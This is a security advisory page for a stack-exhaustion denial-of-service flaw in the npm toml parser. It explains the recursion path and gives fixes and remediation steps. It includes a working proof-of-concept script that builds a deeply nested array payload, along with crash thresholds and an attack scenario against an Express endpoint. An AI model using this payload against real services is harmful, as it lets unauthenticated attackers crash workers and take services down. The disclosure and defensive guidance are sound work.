CVE-2026-77465: toml-node: Uncontrolled Recursion

Published Sep 3, 2026
·
Updated

Summary

toml.parse() crashes with an uncaught RangeError: Maximum call stack size exceeded when parsing deeply nested arrays or inline tables. The parser is generated by Peggy 5.1.0 (a PEG parser generator) as a recursive-descent parser; the value rule mutually recurses with the array and inline-table rules with no depth limit, so nesting depth equal to the input depth exhausts Node's call stack.

A small payload — a bare array nested a few thousand levels deep (~5–6 KB) — reliably crashes the process on a default Node.js configuration. toml has ~47 million monthly downloads.

---

Vulnerable Code

The parser is a generated recursive-descent parser (lib/parser.js, header: // @generated by Peggy 5.1.0.). The recursion sink is the mutual recursion between the value, array, and inlinetable rule functions — none carry a depth counter:

javascript // lib/parser.js — peg$parsevalue() @ line 1008 function peg$parsevalue() { ... s0 = peg$parsearray(); // line 1017 ← value → array if (s0 === peg$FAILED) { s0 = peg$parseinlinetable(); // line 1019 ← value → inlinetable } ... }

// peg$parsearray() @ line 2879 function peg$parsearray() { ... s3 = peg$parsevalue(); // line 2931 ← array element → value (back-edge) ... }

// peg$parseinlinetable() @ line 3066 → peg$parseinlinetableentry() @ line 3239 function peg$parseinlinetableentry() { ... s5 = peg$parsevalue(); // line 3266 ← inline-table value → value (back-edge) ... }

Recursion cycle for a=[[[ … ]]] (bare nested arrays):

toml.parse(src) → peg$parsevalue() # parser.js:1008 → peg$parsearray() # parser.js:1017 / 2879 → peg$parsevalue() # parser.js:2931 ← back-edge, per nested element → … # depth == input nesting → RangeError, no guard

Inline tables ({arr=[ … ]}, {a={a= … }}) reach the same cycle via peg$parseinlinetable / peg$parseinlinetableentry. Because the parser is machine-generated, there is no hand-written function to patch; the fix belongs in the grammar (src/toml.pegjs) or in an input guard (see Suggested Fix).

---

Confirmed PoC (toml 4.1.2, Node.js v24.16.0)

Setup:

bash npm install toml@4.1.2 # latest release; 4.1.1 and earlier are equally affected Docker equivalent: docker run --rm node:24 bash -c "npm i -g toml >/dev/null 2>&1; node -e '<PoC below>'"

Reproduce — save as poc.js, run node poc.js:

javascript const toml = require('toml'); console.log('version:', require('toml/package.json').version); // 4.1.2

// Smallest reliable payload: a bare array nested 3000 levels (~6 KB) let x = '1'; for (let i = 0; i < 3000; i++) x = '[' + x + ']'; const payload = 'a=' + x; console.log('payload bytes:', payload.length); // 6003

try { toml.parse(payload); console.log('no crash'); } catch (e) { console.log('CONFIRMED:', e.constructor.name + ':', e.message.slice(0, 40)); console.log('is RangeError?', e instanceof RangeError, // true '| is SyntaxError?', e instanceof SyntaxError); // false }

Expected output (vulnerable — actual run):

version: 4.1.2 payload bytes: 6003 CONFIRMED: RangeError: Maximum call stack size exceeded is RangeError? true | is SyntaxError? false

Verified crash thresholds (fresh process, single parse, default Node 24 stack):

| Payload shape | Reliable crash depth | Payload size | |---------------|----------------------|--------------| | Bare nested array a=[[ … ]] | ≥ ~2,500 | ~5 KB (6 KB at depth 3000, used above) | | Inline table {arr=[ … ]} | ≥ ~1,500 | ~12 KB |

Note on the exact threshold: the precise crashing depth is not perfectly deterministic — it shifts by a few hundred levels depending on V8 JIT state, Node version, platform, and any configured --stack-size. This is expected for a stack-overflow condition. A payload nested a few thousand levels deep (single-digit KB) crashes reliably across runs; the PoC above (depth 3000) leaves ample margin.

---

Realistic Attack Scenario

javascript // Node.js service parsing user-supplied TOML config const express = require('express'); const toml = require('toml'); const app = express(); app.use(express.text({ type: 'application/toml', limit: '100kb' }));

app.post('/config', (req, res) => { try { const config = toml.parse(req.body); // ← RangeError on ~6 KB nested payload res.json({ status: 'ok' }); } catch (e) { // toml only throws a peg$SyntaxError (e.name === 'SyntaxError', with e.line/e.column) // on malformed input. A RangeError has neither, so this guard rethrows it: if (e.line != null) return res.status(400).json({ error: e.message }); throw e; // RangeError propagates → uncaught → worker down } });

An unauthenticated attacker POSTs a ~6 KB deeply nested body (well under the 100 KB limit). toml.parse overflows the stack and throws RangeError; any handler that only special-cases syntax errors rethrows it, taking down the request (and, depending on the server, the worker).

The package exports only parse (Object.keys(require('toml')) → ['parse']); there is no toml.SyntaxError. Code written as catch (e) { if (e instanceof toml.SyntaxError) … } is itself broken (instanceof undefined throws), so applications generally cannot cleanly distinguish the DoS RangeError from a normal parse error.

---

Impact

Any Node.js application that calls toml.parse() on untrusted input is exposed to a remote, unauthenticated denial of service via a small (~5–6 KB) deeply nested payload. toml.parse is the package's only public API, and TOML is commonly parsed from user-supplied config/upload endpoints. With ~47 million monthly downloads and 0 existing CVEs, the exposure is broad.

RangeError is a subclass of Error (not of the parser's SyntaxError), so it bypasses the usual "is this a parse error?" checks and propagates as an unexpected exception.

---

Suggested Fix

Because lib/parser.js is generated, the fix should be applied at the grammar level and regenerated, or guarded at the entry point:

Option 1 — grammar-level depth guard (src/toml.pegjs), then re-run Peggy:

javascript // In the grammar initializer: { let depth = 0; const MAXDEPTH = 500; }

// Wrap the recursive value rule: value = &{ if (++depth > MAXDEPTH) { error("TOML nesting too deep"); } return true; } v:(array / inlinetable / ...) { depth--; return v; }

Option 2 — entry-point guard in index.js (reject pathological input before parsing):

javascript module.exports.parse = function (input) { // cheap structural bound before the recursive parse let depth = 0, max = 0; for (const ch of input) { if (ch === '[' || ch === '{') max = Math.max(max, ++depth); else if (ch === ']' || ch === '}') depth--; } if (max > 500) throw new Error('TOML nesting depth exceeds limit (500)'); return realParse(input); };

Immediate mitigation (users, verified): bound untrusted input length and bracket-nesting depth before calling toml.parse(), e.g. reject payloads whose maximum [/{ nesting exceeds a few hundred. A byte-length limit alone is insufficient (5 KB already crashes).

---

Comparison with Related Vulnerabilities

Same CWE-674 class as the recursion-DoS findings in the PyPI toml package (C055) and the YAML parsers (PyYAML GHSA-r9mm-j37c-pjwp, ruamel.yaml). The distinguishing detail here: the parser is generated by Peggy, so the recursion lives in peg$parsevalue/peg$parsearray/peg$parseinlinetable and cannot be fixed by editing a hand-written function — the earlier draft of this report incorrectly showed hand-written parseValue(tokens, index) functions that do not exist in the package.

Other sources

toml-node is a TOML parser for Node.js and the browser. Prior to 4.2.0, toml.parse() uses a Peggy 5.1.0 generated recursive-descent parser in lib/parser.js whose peg$parsevalue, peg$parsearray, and peg$parseinlinetableentry functions recurse through nested arrays and inline tables without a depth limit. A remote unauthenticated application parsing an attacker-controlled TOML document containing a few thousand nested arrays or inline tables can exhaust the Node.js call stack, raise an unexpected RangeError rather than the parser's SyntaxError, and terminate an unprotected request worker or process. The corresponding grammar source is src/toml.pegjs, where the generated parser must be bounded. This issue is fixed in version 4.2.0.

MITRE

Affected Software

2 affected componentsFixes available
toml-node<4.2.0
npm/toml<4.2.0
4.2.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/toml to a version that resolves this vulnerability.

    Fixed in 4.2.0
  2. Upgrade

    Upgrade toml to a version that resolves this vulnerability.

    Fixed in 4.2.0
  3. Configuration

    Before calling `toml.parse(req.body)` add an input guard that tracks maximum `[`/`{` nesting depth while scanning the TOML text, and reject (e.g., return HTTP 400) when the maximum nesting exceeds a few hundred (the material suggests MAX_DEPTH=500). This prevents the recursion cycle between the generated `peg$parsevalue`/`peg$parsearray`/`peg$parseinline_table` rules from exhausting the call stack.

    toml (entry-point guard around toml.parse) TOML nested `[`/`{` depth = reject if max nesting exceeds a few hundred (example: MAX_DEPTH=500)
  4. Configuration

    Apply the fix at the grammar level in `src/toml.pegjs` by adding a depth limit to the recursive rules (the material’s example uses `MAX_DEPTH=500` with `if (++depth > MAX_DEPTH) { error("TOML nesting too deep"); }`). Regenerate the generated parser (`lib/parser.js`) after updating the grammar.

    toml (parser grammar) Depth limit in generated PEG grammar (`src/toml.pegjs`) = MAX_DEPTH=500
  5. Compensating control

    As an immediate mitigation, bound untrusted input length and bracket-nesting depth before calling `toml.parse()` (the material notes that byte-length alone is insufficient and recommends rejecting pathological inputs by nesting depth; example payload crashes around ~5–6 KB at depth ~3000, with an example guard threshold of a few hundred).

  6. Operational

    After deploying the fix/guard, ensure any request workers that crashed due to the uncaught `RangeError: Maximum call stack size exceeded` are restarted and health-checked before resuming service.

Event History

Sep 3, 2026
CVE Published
via MITRE·08:37 PM
Data Sourced
via MITRE·08:37 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·08:56 PM
Data Sourced
via GitHub·08:56 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which applications are realistically exposed?

Applications that remotely accept and parse attacker-controlled TOML with toml.parse() are exposed. The attack does not require authentication or user interaction.

2

What input is needed to trigger the failure?

An attacker can use a TOML document containing a few thousand nested arrays or inline tables. The recursive parser functions processing values, arrays, and inline-table entries have no depth limit.

3

What is the impact on a running service?

Excessive nesting can exhaust the Node.js call stack and produce an unexpected RangeError instead of the parser's SyntaxError. An unprotected request worker or process can terminate as a result.

4

How can I determine whether an installation is affected?

Versions earlier than 4.2.0 are affected. Runtime evidence may include an unexpected RangeError while parsing deeply nested TOML arrays or inline tables.

5

What version resolves the issue?

Upgrade to toml-node 4.2.0, which fixes the issue by bounding the generated parser behavior.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203